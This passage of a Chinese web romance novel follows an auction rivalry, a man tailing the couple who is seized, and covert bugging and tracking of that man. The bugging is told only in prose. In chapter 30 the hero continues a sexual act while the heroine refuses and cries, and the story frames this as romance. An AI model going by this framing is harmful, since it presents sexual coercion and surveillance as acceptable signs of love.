“先生,这涉及客户隐私,恕我们不容告知。”服务人员战战兢兢下开口,唯恐祸及自身。
楼下拍卖师不合时宜地声音传遍全场,“现场最高价四千万,五号包厢要继续竞拍吗?”
陆煜宸不管不顾,“加往上加,不管说什么都要给我拍下来,”
楚诗意在愣神后急忙开口:“四千五百万。”
陆煜宸将酒杯攥的越发紧,楚诗意也明显有些慌乱。
若是和陆煜宸竞拍她还有十足的把握,但对上隔壁这个她就显得底气不足,再未了解竞争对手时她一向不愿意贸然对抗。
她冷声问道:“你知道隔壁是谁?”
陆煜宸不愿意将心中猜想与她分说:“不知道。”
“不知道?不知道你情绪这么激动?你们是不是有什么过节?针对你来的是吧?”楚诗意明显不信。
“陆煜宸这烂摊子你最好祈祷能收拾好,没了这块地,你有十个吉林都无济于事。”
陆煜宸不接茬反问道:“政府要颁政策这件事有多少人知道?”
对于这个问题楚诗意皱了皱眉头,不明白他现在问这个问题做什么?
在人多眼杂的地方这么问她,若是被有心人听了去,想至他们楚家于死地吗?
她抿着唇含糊回答:“没有多少人。”
陆煜宸穷追不舍,“没有多少人是有多少人,你们家的关系会不会透漏给别人?”
她转了转手中酒杯,对他的耐心降到了极点,但看他一脸严肃屛退屋内人员后开口:“没有,只有我们,别人不会知道。”
“不会知道就好不会知道就好。”陆煜宸高悬的石头终于落地。
也许对面只是为了抬高价格让他拍下,不过多少钱能让他拍下来就好,只要在他手里就有翻牌的机会。
“先往上加,加到他不再竞了,说什么这块地都要拍下来,不管花多少钱。”
楚诗意:“陆煜宸你最好能给我们楚家一个交代,若是真花个六七百亿才能拍下来这块地,我们楚家的所有损失你来承担。”
“放心好了楚小姐,答应你们的我都会兑现。”
他现在只能赌了,赌他不知道,赌他只是想抬高价格让他买下。
今日所受到的耻辱,不管包间里的人是谁,都会让他付出代价。
“五千万。”对面仍然紧追不舍。
楚诗意的脸色难看到了极点,凌洋能抬到七千万的价格不足为奇,毕竟在别人眼里是块好地就算高价拍下也不会让人以为什么。
但鸿洲不一样,一块远郊区域的地卖出六千万的高价难免不生出许多流言蜚语,到时政策颁布,他们就会成为众矢之的。
若是再被人扒出他们获取信息的渠道那简直得不偿失。
陆煜宸看出她为难为她排解,“楚小姐,这是我们两家合资购买的,你所担心的问题不会发生,先把地拍下来才是重中之重。”
“
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陆煜宸你造成的这个局面,如今要我们楚家给你收拾烂摊子?”
“楚小姐话不能这么讲,你想要的我哪点没有给,若是因为一点挫折就放弃一条好路恐怕不是明智之举。”
楚诗意冷笑连连,三千万内是她们家能开出的最高价了,这个项目又不是他们拿大头,凭什么替他买单。
若是因小失大,那才不是什么明智之举。
楚诗意默了默,在预算内她倒还可以再争一争,正打算开口,手机的震动感打断了她。
屏幕上映入眼帘的熟悉备注,这个时候亲自打电话过来打断她,不是上头发话了就是家里出事了。
她淡淡看了一眼陆煜宸,随后接起了电话。
“爸爸。”
她一声不轻不重的称呼,陆煜宸顿感不好,在这个紧要关头打电话过来一定是楚家发生了什么。
他绷紧了唇角,脑袋中隐隐浮现出这块地是拿不到了的预想。
“意意,你爸爸叫你回来那块地不用拍了。”
电话接起来却是一女声,她愣了下神重新看了眼备注这才有所反应,“妈妈,家里怎么了吗?”
“银行打电话来说涉及洗|钱,账户被临时冻结了。”
“洗|钱?什么时候的事?”
“就刚刚,不过你放心没有的事,应该是被人恶意查封了,先回来吧你爸交代你的事不用继续了。”
“好,我知道了。”她点了点头。
楚诗意将手机收回,定定看了两秒陆煜宸,这才开口:“陆煜宸你知道自己被盯上了吧,想拉我们家陪你淌着火坑?你打的好算盘。”
“我不明白你说什么。”
她冷哼了声,不再相信陆煜宸的话,“你不用明白,你这桌棋局我们楚家恕不奉陪了,你好自为之吧。”
楚家做事一向小心谨慎,账号被查封还是第一次,要不是有人授意,谁敢这么行事。
怕是对面来头不小,现在还只是账户冻结,若是深究他们担当不起后果。
她面带着嘲讽的怒意提包就走,临出门前将一人留下,压低声响让他留意四号包厢的情况。
这事不能不明不白的就这么算了,总要看看能让她楚诗意吃瘪的人是谁。
拍卖会还在继续,五号包厢独留陆煜宸一人在包间坐着,因无人应价,拍品自然而然归四号包厢所有。
他指腹压着酒杯杯口在桌上打转,沉默听完了整场拍卖。
四号包厢内。
林知妤坐在沈砚礼旁亲眼见着他把合同签了,沈砚礼签完默不作声地就往她的方向移了移合同。
待到人走后她才拿过合同,灯光将举过头顶的纸张照透刺进她的眼睛里。
一瞬间掩盖不住的开心溢于言表,她举着合同,对着它说道:“盼星星盼月亮终于把你盼到我手上来了。”
这块能到他们手上不就正好说明了一点吗?重要情节是可以改变的,结局也一定可以。
她挥动着纸张在沈砚礼面前晃动,“以后我们就是神挡杀神,佛挡杀佛,谁也不能阻止我们。”
看着她笑意盈盈的模样。
沈砚礼伸手将挡住她面容的合同拿了过来,他勾了下唇,语气中透着一丝宠溺:“现在满意了?”
28.第 28 章
林知妤忙点头,“满意满意,再满意不过了。特别是你刚才刷卡的时候最为满意。”
说完还不忘奉承一把:“沈总毫不犹豫买单的样子最帅了。”
沈砚礼虚心接受她的奉承,将从她手里接过的合同放好,“知知喊价时也是毫不犹豫。”
林知妤略显羞愧。
不是自己付钱当然毫不犹豫。
她不好意思地摆了摆手让他不用再提,不是什么光彩的事。
她快速将桌上的东西归放好,要走的意思已经显而易见,“走吧走吧,我们回家吧。”
解决了这么一大难题,要回家好好休息一下奖励自己。
沈砚礼明白小姑娘面子薄,他唇角盈着温和的笑意不紧不慢地配合她。
林知妤刚站起身,包厢门就不合时宜地从外被推开,她还未来得及反应,手腕处就传来一阵剧烈拉扯。
天旋地转之后,她整个人猝不及防地摔进了沈砚礼怀里。
他使了点劲,将她后脑按着,不让她的脸露出半点,宽阔的身躯将她小小一团整个包裹,从门外来人的角度只能看见她坐在沈砚礼腿上的身形。
炙热的手臂严严实实的搂着她的腰肢,怕她乱动,他低下头在她耳畔低语:“别动,知知。”
林知妤的身体和他紧密贴着,鼻端触及他肩前,温热的触感使她一瞬间忘记了呼吸,耳畔除了自己剧烈的心跳声再也听不见别的。
来人将托盘平推至桌面,他微微弯下腰余光去扫林知妤的脸。
沈砚礼冷眼瞧着他的动作,声线低沉:“出去。”
他还没来得及看清怀中女人的脸就被这一声嗓音打断,来人移动托盘的手骤然收紧,未免被怀疑他低着头解释:“主管派我来送酒的。”
“出去。”沈砚礼不为所动,他沉着脸,语气毫无波澜。
林知妤意识到情况不对,她一点点挪着脸将后脑勺留给他,耳廓贴着他的胸膛,她有意掩下自己的心跳声去感受他心跳的频率。
他呼吸平缓,并没有那股活跃的力量撞击,林知妤不免有些低落。
这段感情里,只有她被饶的心慌意乱。
她流露的情绪沈砚礼并未察觉,修长的食指将她的发丝勾出来挡住他的视线,动作游刃有余。
他慢条斯理地勾着发丝打转,逐字逐句开口,语气中带着警告的意味:“还要我说几遍?”
来人见这招行不通,唯恐身份暴露不敢再停留包厢。
关门声响起,沈砚礼指腹摩挲着发丝若有所思。
沈砚礼是拍卖所常客,这里的人都知道他的规矩,若是将人屛退,没有他的唤铃无论如何都不许再进来人。
来人并无敲门直接闯入,视线若有若无地在他身上扫荡,可见心思不纯。
林知妤右手扶着沈砚礼的肩膀,歪着头露出脑袋来查看敌情,“怎么了?”
“我们被发现了?”
交叠在腿上的裙摆滑落轻扫过裤腿,沈砚礼不动声色地将她扶好。
“发现?”
林知妤回想了下自己刚才的行为,确认没有暴露后,这才幸灾乐祸开口:“噢,你被发现了啊。”
“那你要小心了,眼中钉。”
‘眼中钉’没提醒她下来,手指默不作声地摩挲着细腰依旧不慌不忙,“我不怕,倒是你……”
他话说一半,留一半给她遐想。
林知妤浑然不觉,只是一脸警惕:“我什么?”
又要拿她开刀?这个大佬妻子的身份不止一点危险啊。
“我刚才可没露脸。”她没上当,在他眼下摇了摇食指。
“一会就去炒波舆论。”
只要不露脸她就有的是手段。
“惊!沈家掌权人竟私下携神秘女子参加拍卖会,一夜间花销千金只为博女友欢喜,沈太太将何去何从?”说完她眉梢轻挑带着点狡黠的得意。
凭借多年的冲浪经验,对这热搜词条了如指掌,只要再添把火保准热上高位。
“这个标题怎么样?不错吧?”她扬了扬唇,要他夸赞。
少女明媚的笑颜就在眼前,沈砚礼自然不会扫她的兴:“嗯,知知好棒。”
林知妤尚有疑问:“不过不会是陆煜宸吧?”
沈砚礼:“嗯?”
少女眉宇间略显慌乱,“他的手要是伸到家里去,发现我也不在怎么办?家里那些人是他的人吗?”
男人神色淡然,随意回答:“算吧。”
她紧追不舍:“算吧是什么意思?到底算不算?”
沈砚礼思来想去给了她这个答案:“是不是他的人不重要,他要想从这些人口里撬出信息不是难事。”
林知妤万分苦恼,“那你还没有清理掉吗?要好久啊。”
沈砚礼顿了顿,他一只手揽着她的腰,一只手伸在她耳旁卷着她的细发,神色坦然地说谎:“没有,还要几天。”
“啊——好慢啊。”林知妤普天长叹,她右手环在沈砚礼的后颈,顺势倒在他肩上时才浑然发觉他们现在的姿势有多暧昧。
沈砚礼像是没觉得有什么不妥,他换了只手慢条斯理地拨弄着乌发,另一只手心随意地搭在她双腿上,悠闲地给她保证:“很快。”
林知妤的脸不争气地又开始烧,她推了推沈砚礼的肩借势离开他的怀抱。
随即拿起桌面的合同递给他,面上平静从容,看不出有什么异常,语气强定平淡不见波澜,“走吧,我想回家了。”
她余光瞄过他的长腿,裁剪得体的西装裤上还留有她坐乱了还未抚平的褶皱。
林知妤看了一眼脑子里就生出非分之想,赶在乱了心神前收回视线,背对着他,闭了闭眼。
嘴里不住嘟囔给自己洗脑:“坐坐怎么了?你不坐别人就会坐,自己老公凭什么便宜别人。”
就坐!
怀里柔软的身躯抽离,沈砚礼摩挲着指腹回味着虚无的温度,他抬眸将林知妤背对着他的身影生生吞进黑瞳。
待到手指温度恢复平常,这才点点头,接过递来的纸张。
指腹触及指端,屋内一时间声响全无,林知妤内心似平稳如镜的湖面连连泛起涟漪,长久波动。
屋外还能隐隐传来人群中传出来的聊天声,拍卖会结束人们纷纷离场,不少相见恨晚的友人会停留片刻闲谈。
见包厢内主人走出,
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男子掩了掩帽檐紧步跟上。
沈公馆车库内,沈砚礼单手插兜走在林知妤身旁,恰到好处地和她拉开礼貌距离,往私人电梯走去,静谧无声的车库里突觉不寻常的视线跟随。
他不动声色地放慢步伐遮住林知妤的半边身躯,闲散般开口寻问:“今天拍的都喜欢吗?”
林知妤不假思索:“当然。”
不仅拍的喜欢,喊的也开心,这种不用考虑预算,有人买单的感觉实在是太爽了。
要是不用顾忌这些什么既定命运的话,这种幸福日子都给她多来点!
“城北过几天还有场次,你要是喜欢我们再去。”他垂眸低看,刻意放慢的步伐配合着她的脚步,“不想出门的话也可以在家电话委托出价。”
林知妤要开口时察觉沈砚礼始终落她一步,疑惑下正要抬头询问,腰间就被大手轻抚,一路顺着腰窝将她整个环住,身上的气息渐渐被雪松香围裹。
“不要回头。”他轻声道。
“怎么了?”
她的目光停在半空,而后慢慢移回前方,沈砚礼低沉的声音从头顶传来,林知妤不明所以。
沈砚礼淡淡地说:“被跟踪了。”
一副无关紧要的模样,仿佛没放在心上。
被跟踪了还能这么不慌不忙?
男频小说演出间谍夫妇的既视感。
林知妤心底正疑惑,身后就传来一阵男声闷哼,而后就是焦急的喊叫。
沈砚礼揽着她的腰肢回头,林知妤顺着他的力气探出头来。
男人此时已经被蒙着眼睛按在了地上,他嘴里啊啊大叫着,从面色上看十分慌张的模样。
“你们是谁?要做什么?放开我。”眼睛被蒙上,因对未知事物出现而产生的恐惧感加剧,他不住挣扎着想要逃离。
林知妤忍不住好奇,报着不能让地上男人发现自己的心思,她垫着脚凑到沈砚礼耳前低语:“他是谁的人啊?”
沈砚礼冷冽的目光居高临下地瞧着地上狼狈不堪的男人,鼻尖长久环绕的清香骤然变得浓郁直涌鼻息。
他垂眸看着凑上来的脑袋,眸底深邃一瞬间转化。
沈砚礼凝眸望过来的目光中带着微不可察的温柔纵容,他不发一言,只是睨眼示意了旁等待指令的保镖。
保镖当下会意,他鞋尖踩在男子背脊上打转,冷声讯问。
男子只顾着用大叫缓解背上的疼痛感,嘴里无言乱语半点有用的信息都没有。
空旷的车库内回音重重,林知妤不由得皱了皱眉头嫌弃他吵。
沈砚礼余光一直注意着林知妤的反应,她一皱眉头沈砚礼就止了止手让他们停下。
他眼神示意保镖。
保镖心领神会,将人扛起‘打包’带走。
林知妤也没想到他就这么停下了问责,疑问还未说出口,沈砚礼轻揉了揉她头顶的发丝,率先开了这个口。
“画面不会好看,知知想知道的我再告诉你好不好?”
“你要带他去那个地下室了吗?”林知妤抿直了唇,对那个地方还是有些阴影。
沈砚礼手上动作没停,像哄孩子般给她下了保证,“最后一次。”
29.第 29 章
夜色融融,月光如银点点映照,为寂静寻常的沈公馆添了几分独特的柔和。
客厅中独留林知妤一人,电视上放映着近日热播综艺,屏幕里笑声频频,她的脸上却不见笑颜,可见心不在此。
三小时过去了,屋内还不见男人的身影出现,她脸贴着靠背时刻警听着楼道后暗门位置会发出的声响。
偏偏楼道口没见动静,门口却传来自动开锁的声音。
林知妤寻声望去,沈砚礼缓步走进,他手里拿着方帕慢条斯理地擦拭指节。
黑色方帕印有的不规则矩形在骨节分明的指端来回摩擦,他净白修长的手指微屈,矩形穿戳于指间移动。
林知妤歪躺在沙发上注意力一下就被被吸引拉扯,一向平稳的心跳毫无预兆的失了平衡。
她稳住心神,淡定开口:“你怎么从外面回来了?”
男人磁性低哑的嗓音飘进耳朵,“不是不喜欢?盯着他们收拾完了。”
答非所问。
林知妤却一下就明白了他说的是什么。
整整三个小时吗?
座下沙发的凹陷感传来,沈砚礼在她身旁随意坐下,“怎么没睡?”
“在等我?”
一立一落间,所有感官都被独属于他身上的气息占据,清冽的雪松香在鼻尖萦绕,使她慌乱的神经得到安抚。
她没否认:“嗯。”
“那个男人,他……”林知妤没忘等了他这么久的目的。
沈砚礼将方帕扔进垃圾桶,“问不出来,放走了。”
“放虎归山你再抓他是嘛?”林知妤若有所思。
他“嗯”了声点点头,随即向林知妤伸了伸手,“上去睡觉吗?”
沈砚礼似乎有些疲惫,眉宇间染上了困倦的无力感,他神情自然,仿佛这是件再寻常不过的事情。
林知妤定定看着眼前摊开的手,心跳顷刻间乱了。
视线从他脸上移下,而后慢慢搭上。
“好。”
女声软糯极轻,像片羽毛般轻飘飘地挠过他的心窝。
他神色如常,将她的手捏在掌心。
温热的触感通过身躯像个电流般将温度传到心口,涌动的情感蔓延至她的心底,林知妤温吞地回握住他的手。
默认这份情感泛滥。
她向来喜欢大房子,即使在这一刻也喜欢。
喜欢长长的楼梯,长长的走廊。
和慢慢走的他们。
书房就在三楼楼梯口处,沈砚礼脚步没停,径直带她走回卧室。
他单手推开卧室门,林知妤余光瞄了他一眼,见他有要停下的意思。
她犹犹豫豫,在想怎么开口。
沈砚礼松开她的手,和她保持着礼貌距离,另一只手还搭在门把手上,一副下一秒就要离开的样子。
他面色平淡,声音清晰有礼:“早点睡知知。”
林知妤的小指无意识地屈屈,若即若离的感觉挠的她心痒。
她不想他走,想他留下来。
她嘴里嘟噜着话,沈砚礼没听清,微微弯下头,“怎么了?”
“你要留在这吗?”她说的又轻又快,像是想让他听见又像是不想。
她在说。
留在这里陪她,不要去书房。
沈砚礼的黑瞳中闪过一丝错愣而后由一股意味不明的笑意取代。
沈隽以防他有异心,在别墅里安插了不少眼线,之前他觉得无伤大雅,毕竟这里不常回来,他安多少个都无所谓。
但现在不同,家里有个小姑娘多少会有不方便的地方,早些清理了没有坏处。
陆煜宸至少现在在沈隽眼里还大有用处,只要是能给他使绊子的事,沈隽都会纵容下从将消息传递出去给陆煜宸。
所以如果是他的人就不会在看见是沈公馆后还贸然留在车库。
在拍卖会上得罪的不止他一家,楚家那位大小姐是个不达目的不罢休的,这行事作风倒有几分像她。
所以特意装了窃听器在他手机里,想着一会听听他都看到了什么。
若是出现异样,他也能提前布防。
沈砚礼确实没想着留下来,若是出声怕影响小姑娘睡觉。
眼睛一瞬不瞬地面前的小姑娘。
却没想到她会有这样的反应。
林知妤像个鸵鸟一样,她垂着脑袋没见他回应,以为他没听见,悄悄抬起头来瞄他,猝不及防撞上他的视线又迅速埋下。
看他眸含笑意的模样,就知道他听的一清二楚,她支支吾吾地解释:“你不留下来的话,要有人怀疑我们了。”
“你不是说,要等把他们都赶走了你才会走吗?我们这么久不在一个屋要被怀疑了。”
她越说越没有底气,越说声音越小,说到最后沈砚礼几乎都听不见她在说什么。
他无奈的笑了下,“知知,我还有工作没做完。”
搭着门把手的手放下来垂在身侧,怕她乱想,他又解释:“我在这会打扰你休息。”
拒绝的意思已经很明显了,林知妤再傻也不会听不出来。
她低低“哦”了一声,假装不在意的样子,“随便你。”
她一脸不在乎的样子从容走进隔间。
脑子里恶狠狠地放狠话。
不来正好,这里就是她的了。
沈砚礼靠在门口看着她那强装镇定的步伐,神色却将情绪暴露人前。
漏洞百出。
他含颌低笑,心里明白的很。
门合上的声音传进浴室。
禁闭的厕所门猛地被人从里拉开,她一手扶着门槛迈着最大的步子歪着脑袋去看门口的情况,屋内静悄悄。
人走的无声无息,一点招呼都不打。
直到确认他这一刻真的走了时,林知妤抱有希望的火苗才彻底被冷水泼灭。
“哪有美玉相邀还克己复礼的?”
“我都这么示好了,竟然不领我的情?那你就去书房吧,一辈子都别回来了。”
“沈砚礼,你一辈子待在书房吧你,活该你没老婆。”
她的手在空中倒腾,张牙舞爪的在空中打了一番‘太极拳’,最后凭空踢了一脚门,这才解气。
浴室水声哗哗,长达一个小时后,门才从里被人拉开。
少女在腾腾热气中出现,开门的一瞬间浓郁的沐浴露香味迅速占据了整个卧室,沈砚礼被香味吸引,回头望去。
少女一头乌黑长发高高扎起,露出的脖颈上还有点点水珠如明珠般温润洁白,一身丝绸光滑睡裙随着走姿勾勒着曼妙身姿,一举一动间皆勾人心魂。
沈砚礼被她勾走了思绪,眼底晦暗不明,他摩挲了两下指腹不由得思考。
这个时候心软留下来到底是不是对的。
她平静的
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神色在见到沙发上男人的身影后出现了裂痕。
林知妤震惊不减:“你怎么在这?”
语气里有惊讶有喜悦。
沈砚礼掩下失态,将屏幕转过去对准她——
上面是一个红点在不断移动。
林知妤疑惑的坐下沙发,将电脑垫在腿上滑动着触板查看。
“这是什么?是定位吗?这好像。”
沈砚礼没看她,清香在鼻尖的气息却更为浓郁,他面不改色地喝下一口水,缓缓道是。
林知妤浑然不知,她滑动触板将地图不断放大,“监视谁啊?”
“不会是刚才跟踪我们的那个吧?”
微曲的身体包裹不住缎面下的雪白,沈砚礼不动声色地移开视线,缓道:“是。”
她看得仔细,一字一路都不放过,定睛看他停留的地方有些疑惑,“越明大道是哪里?临江市有这条路吗?我怎么不记得。”
沈砚礼:“望城,楚家在那。”
林知妤“哇”的一声,“是楚诗意的人啊。”
地图上的红点停滞不前,沈砚礼手在触板上滑至另一界面。
短暂的一段细碎声后恢复平常,随后传来清晰的对话。
-
楚诗意已经等他很久了,现在距离赴约的时间已经过了两个小时,能让她等到现在,已经是给他最大的体面了,“看见什么了?”
来人却不领会,“大小姐,我跑这一趟可是招了不少罪呢,您看看这……”
这种人她们见多,只要拿到一点她们感兴趣的东西就能以此要挟加钱,云浮摔了一把钞票给他,一副早有所料的模样,“好好说,把你看到的一五一十说出来,说的好呢——”
她故意拉长尾音掉他胃口,“可就不止这点。”
果然,这种诱哄他拒绝不了一点,“诶好好好,我就知道,楚小姐人美心善,这点小钱算不得什么。”
“我跟你说啊,这包间男人不简单哦,沈砚礼知道吗?沈氏集团唯一掌权人,那可是临江市的顶级豪门。”
楚诗意话还没听他说完,结合今日所发生的变故,她便会心一笑。
弄清了陆煜宸一直想隐瞒的不堪,楚诗意心情大好。
对沈砚礼的才貌也逐渐升起兴趣。
她不免去想这个能让陆煜宸这么洁高自傲的一个人都咬牙吞下耻辱的男人到底长什么样?
楚诗意:“有照片吗?”
男子一脸贱兮兮,“怎么?大小姐感兴趣啊,不过我看他身边可是跟了个身材姣好的女子了。”
“要我看啊,那美女的皮肤呦,嫩的能掐出水来咯,男人都喜欢这样的,大小姐要是喜欢怕是没机会了。”
楚诗意不以为然:“我喜欢的东西,就没有得不到,是我的一直都是我的,不是我的——”
“那就抢过来。”
“玩玩而已,这种男的我见多了,真玉摆在他面前,我就不信他还会去顾假玉。”
她回头吩咐:“去查一下临江那边关于他们的情况。”
继而再问:“你呢?跟这么久?照片一张没拍?”
男人满脸可惜,“我倒是拍了几张,这不是被得着了吗?都被删了?”
这句话令楚诗意眉头紧拧。
她怒音突起,“你被发现了?”
“蠢货,被发现了还回来找我做什么?搜他身,找出来。”
30.第 30 章
一阵“滋滋”声过后,屏幕开始曝红提示系统丢失。
沈砚礼淡淡将屏幕合上,即便是被发现了他也面不改色,仍是一副云淡风轻的模样,“被发现了。”
林知妤:……
她忍不住鄙夷,“你这像是被发现的样子吗?”
她质疑归她质疑。
沈砚礼却百般笃定,“当然,又多一个视我为眼中钉的人了。”
林知妤摇了摇头不赞同,“不对,这次你多的是爱慕者。”
“我,多了一个视我为眼中钉的人。”
楚诗意比季羡林难搞。
季羡林好歹是明着坏,楚诗意却惯会走暗棋。
想到她,林知妤有气无力地倒到沙发上,“我推动了剧情,后面也许会出现书中没有描写的情节,到时我就帮不了你了。”林知妤神情恹恹。
她歪倒在沙发上感慨,像株濒临死亡的焉花。
一花一主,自要有人用心浇灌。
沈砚礼不疾不徐道:“那就把主动权握在手上。”
少女顺势伏靠在扶手上,她枕着手臂正恹恹提不起兴趣,睡裙一路拖延至脚踝,绸面泛光衬的她愈发没精神。
林知妤不明所以,“嗯?”
她微微抬眸,保持着仰视的角度看他。
丝丝碎发落在的后脖仰着漂亮的弧度,睡裙贴身恰到好处地勾勒着腰身,细腰纤薄不盈一握,她童稚如纯不懂得这样最为危险。
沈砚礼不动声色地移开视线,声线已生异样,“王老爷子八十大寿,想去吗?”
林知妤无甚察觉,“王憬烜的爷爷吗?他不是最讨厌你了,去参加他的八十大寿不怕硬生生把他气死?”
王老先生要是看见他们,怕是蛋糕都还来不及切就要一命呜呼了吧。
沈砚礼淡淡嗤笑,那位老先生在包间中气十足的模样,和随时一命呜呼这个词沾不着边。
“他身体硬朗的很,还没到这个程度。”
反倒是自己,才更该关心这个问题。
林知妤仍有话问,“楚家也会去吗?”
她将腿随意交叠,裙摆映衬出漂亮的弧线,落下的裙角因她的动作扫过小腿。
沈砚礼埋下异样,耐着性子回答,“我去,他们就会去。”
林知妤一脸兴奋,“美男计?”
沈砚礼:“空城计。”
“那要……”
只要碰到这些话题,林知妤就会问个没完没了。
沈砚礼捏了捏眉心,他不想再聊,拦腰单手将她抱起连人一起扔回居室,“回去睡觉。”
“我还没说完呢。”林知妤不挠。
沈砚礼想也不想直接拒绝,“我困了。”
她的鞋还在沙发旁,林知妤踩在地毯上,只能无助地蜷缩在原地。
“我们聊完嘛。”
她努了努嘴,还不想睡。
沈砚礼折回身体,他眼色幽幽步步走近,“不想睡,那你想做什么?”
林知妤不明所以,他脸色不好,她以为他生气了,“你怎么啦。”
“我说了什么不好的话了吗?”
他垂着眼,眼底的情绪林知妤探究不出是什么意思。
沈砚礼脚步不停,她被逼着连连后退,直到退无可退,“不要走啦,沈砚礼我没位置了。”
她推了推他的肩,回头看了下和床贴的严丝合缝的小腿。
“大晚上的纯聊天?”
沈砚礼低头凑近,语调低沉,“知知,我是个男人。”
两人的距离越拉越近,林知妤不受控制地往床上倒。
“你怎么了?”
说这个做什么?
她挣扎着往后缩,沈砚礼仍不放过她,他倾身压上,逼着她感受自己。
林知妤瞳孔瞬间放大,滚烫的触感烧满了她全身。
他眼底泛着满满旖旎,大手不紧不慢地顺着腰窝缓缓收紧,“知知,是你邀请我进来的。”
她红着脸否认,“我没有。”
长臂揽上细腰堵住了她的去路,低哑的嗓音在教导她,“大晚上邀请一个男人进来,你知道说明了什么吗?”
林知妤摇了摇头,她不知道。
也不想知道。
沈砚礼怎么会允许她逃。
温热的气息洒在她脸上,打定了主意要好好教她,“你想聊天,我们就聊点别的。”
她尾音颤颤,想也不想直直摇头,“不想了,我想睡觉。”
“你总是这样,什么都不懂却爱撩拨人。”
“我没有撩拨。”她看了看身后,手肘撑着就想跑。
沈砚礼再慢条斯理将她抱回,“没有?那我这样是谁害的?”
腹中的异物感极强,她逃一寸,沈砚礼就压一寸,直到她上半身悬空,都被他牢牢按在怀里。
“反正,反正不是我。”
“沈砚礼,你先起来,我想睡觉了。”
小腹上炽热不肯轻易放过她。
她挣扎着后退,边退边推他,急的要哭了。
“不让摸也不让碰,我进一步你就要红眼。”
在书房的半个月,他克制着自己,克制着被牵动的情绪。
知知,放你走过很多次了。
是你,一次次撞上来。
沈砚礼指腹抚上她的眼角,“知知,我心疼你,你也疼疼我好不好?”
“不好不好。”
林知妤感觉小腹像是被放在火上烧,她害怕死了,又怎么会答应他。
他缓缓推进,一副不肯放过她的模样,将两人的距离压缩到极致。
他泛哑的嗓音在她耳畔低语,“知知,帮帮我……”
林知妤抵着他的肩膀,说什么都不同意,她摇了摇头服软以求宽饶,“沈砚礼,我肚子好痛。”
见她要哭,沈砚礼不为所动。
他铁了心要给她教训。
不止她红了眼,沈砚礼眸底更是红丝遍布。
他牵着手和她五指相扣,“你惹出来的,自己解决。”
林知妤欲想往后收,指尖止不住的颤,“我不会沈砚礼。”
“我会。”
屋内灯光正宜,空气中掺杂着浴后还未散尽的余温,浓郁的芳香在鼻息间萦绕,将呼吸绞得动荡不稳。
男人炙热的目光粘着她的脸,眼底不加遮掩的沉欲落在她身上,眼尾不知不觉已经染上了一抹放纵的红。
少女身纤背薄,额头埋在男人脖颈,暗哑的嗓音附在耳旁,低低地唤着她的名字。
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>钳制她手心的力道愈发有劲,让她生不出半分想逃的心理。
林知妤阖着眼不敢低头去看,额间的细汗不知是自己的,还是沾染上他脖颈的。
闭上了眼,感官就被无限放大,手心接触的温度不寻常的吓人,她指端发颤一步步被牵引引导。
“好了嘛?”
“沈砚礼,我手好酸啊。”
哭腔颤颤传到耳畔,她低低地催他,又不敢大声,企图以此唤回他失去的理智。
却不知,这样更能搅动汹涌,沙哑的音色包裹着炙热的急躁,“知知……”
高大的身影将少女圈在自己的领地,紊乱的呼吸洒在发顶处。
“你不要这样……”
林知妤红着眼推着他,哑软的语气一声又一声地喊疼。
男人喉结滚动,他的呼吸愈发加重,“知知,乖一点。”
他在她耳边一遍又一遍的唤她,唤到她手里不再挣扎任凭他摆布,唤到群火尽灭。
一瞬间手腕被人严严重握,带着热气的鼻息在耳骨长舒,腰上禁锢的力度这才彻底消失。
林知妤瘫软了身体在他怀里,终于溢出了泪。
大手圈着她的腰肢,肩窝上是他一声又一声缓和的呼吸。
池水倒映冷光,洗手台灌满了的清水还未流尽,沈砚礼拿着纸巾将她湿浸的双手轻轻擦去水痕。
干燥的纸巾也被浸上了水,沈砚礼掌心的热度不减,隔着薄薄一层纸片将手心翻来覆去。
林知妤幻视刚才,她害怕的抖了抖又想跑,沈砚礼攥紧她的手腕没给她余地。
“还没好。”
他的嗓音低沉发紧,眸子凝聚的意义不明。
她怕他还来,强忍着怯意仍由他摆布,食指害怕地发颤,眼眶又止不住的饱含泪光。
沈砚礼低叹一声,高举将她安放至台面,双手撑在他两侧,仍凭她发泄。
林知妤哭红了眼,一声又一声地骂他。
男人大掌将少女半脸尽握,拇指拂过脸下,照单全收她的怨言和怒气。
少女眼尾通红,泪水止不禁的流,让人凭空生了几分怜悯之心,却又不受控制地想狠狠摧残。
他似是无可奈何般只得一遍又一遍的为她拂去泪水,“知知,不哭了知知,不哭了好不好。”
少女哭腔由绯唇溢出,“我讨厌你……不想和你说话,你走开。”
手心没劲推的长臂一动不动,她抬眸刹那,泪光深深刺到沈砚礼心底,无声地诉说他的罪行。
沈砚礼眸中情绪翻涌不止,他稍顿半响最后也只是一声低叹将她紧紧搂进怀里。
少女泪水浸湿了肩窝,手掌在背脊轻抚,久久才得以平息。
温凉的指意在无声中接触,林知妤撑着沈砚礼的手臂直起身,目光落至他眼底,两人靠的极近,呼吸在身前交汇。
将青涩的情感引至热潮。
浴室静谧无声,直至纸巾落袋发出轻响,谁都没主动提及刚才。
他的手还不放,不知是忘了还是没打算放,“床乱了,阿姨都睡了,明天再收拾吧。”
空气中,清新的洗手液香味中混杂着他身上淡淡地沐浴露味道,沉稳的香气浸满了全身。
林知妤点了点头,对此默不作声。
31.第 31 章
家里没收拾过次卧,沈砚礼一路牵着她走进书房,屋内昏灯还在照明,沈砚礼的书房,林知妤还是第一次进。
整个房间皆是非黑即白的单一色调,进门就是一整套沙发摆放在中间,左右两边整齐的两大排书柜,书桌抵着墙放在最里面的地方。
然后就是右边小门掩着的隔间。
隔间的床整齐的一丝不苟,和他现在一般,欲望得到是舒展后又变成了一副道貌岸然的模样。
屋内悄然无声。
他温声哄她:“书房的床不及卧室,将就一晚好不好?”
林知妤将环视的视线收回,点了点头,轻声应好。
也没别的地方可去了。
书桌照明的台灯未灭,沈砚礼瞧到,他想去将它关了。
紧腻的掌心刚分开,丝丝凉意便瞬间钻入,片刻后又被紧紧握实。
沈砚礼抬步未起,带有少女柔软的手心捏紧他的指节,他诧异回眸,“怎么了?”
“你要睡哪?”林知妤小声寻问。
本来是一人一床,她占了这个,那他呢。
卧室有沙发可以将就。
沈砚礼薄唇要启,林知妤便出声打断。
女声轻喃在静谧的房间内莫名突起,“这个床看着还挺大的,我们一人一半吧。”
他微微一愣,深幽的眸子里蕴含着惊诧。
少女话音直白,单纯的要命。
沈砚礼小指不自觉轻颤,好久才将眸中异痕深藏。
一时屋内无声,静到林知妤误以为沈砚礼没听见。
林知妤抬高了音调又重复了一遍,没等到回复,她又不敢看他,只能继续低声补充,“只要……只要你别像刚才那样。”
那样……对我。
